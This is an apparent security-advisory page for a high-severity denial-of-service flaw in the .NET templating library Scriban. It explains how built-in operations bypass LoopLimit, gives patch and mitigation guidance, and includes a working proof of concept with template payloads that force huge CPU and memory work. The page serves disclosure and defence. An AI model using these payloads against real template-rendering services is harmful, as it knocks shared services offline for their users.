NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
.NET
.NET NuGet
Not in CISA KEV
HIGH severity

Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of ServiceGHSA-c875-h985-hvrc

HIGH

GHSA-c875-h985-hvrc is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in scriban. A fix is available for scriban — see the affected versions and patch details below.

Also known asCVE-2026-74789
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.00%0.37%0.73%1.10%0.3%0.6%0.6%0.6%Sep 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
.NETscriban.NETScriban.Signed

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.

Details

The relevant code path is:

  • ScriptBlockStatement.Evaluate() calls context.CheckAbort() once per statement in src/Scriban/Syntax/Statements/ScriptBlockStatement.cs lines 41–46.
  • LoopLimit enforcement is tied to script loop execution via TemplateContext.StepLoop(), not to internal helper iteration.
  • array.size in src/Scriban/Functions/ArrayFunctions.cs lines 596–609 calls list.Cast<object>().Count() for non-collection enumerables.
  • 1..N creates a ScriptRange from ScriptBinaryExpression.RangeInclude() in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 745–748.
  • ScriptRange then yields every element one by one without going through StepLoop() in src/Scriban/Runtime/ScriptRange.cs.

This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.

There is also a related memory-amplification path in string * int:

  • ScriptBinaryExpression.CalculateToString() appends in a plain for loop in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 301–334.

Proof of Concept

Setup

mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0

Program.cs

using Scriban;

var template = Template.Parse("{{ 1..1000000 | array.size }}");

var context = new TemplateContext
{
    LoopLimit = 1
};

Console.WriteLine(template.Render(context));

Run

dotnet run

Actual Output

1000000

Expected Behavior

A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.

Optional Stronger Variant (Memory Amplification)

using Scriban;

var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
    LoopLimit = 1
};

template.Render(context);

This variant demonstrates that LoopLimit also does not constrain large internal allocation work.


Impact

This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.

The issue impacts:

  • Template-as-a-service systems
  • CMS or email rendering systems that accept user templates
  • Any multi-tenant use of Scriban with untrusted template content

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
.NETNuGetscribanall versions7.0.0dotnet add package scriban --version 7.0.0
.NETNuGetScriban.Signedall versions7.0.0dotnet add package Scriban.Signed --version 7.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scriban, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update scriban to 7.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c875-h985-hvrc is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()
O3 Security · Impact-Aware SCA

Is GHSA-c875-h985-hvrc in your dependencies?

Find it across NuGet, including transitive dependencies.

Scriban: Built-in operations bypass LoopLimit and delay…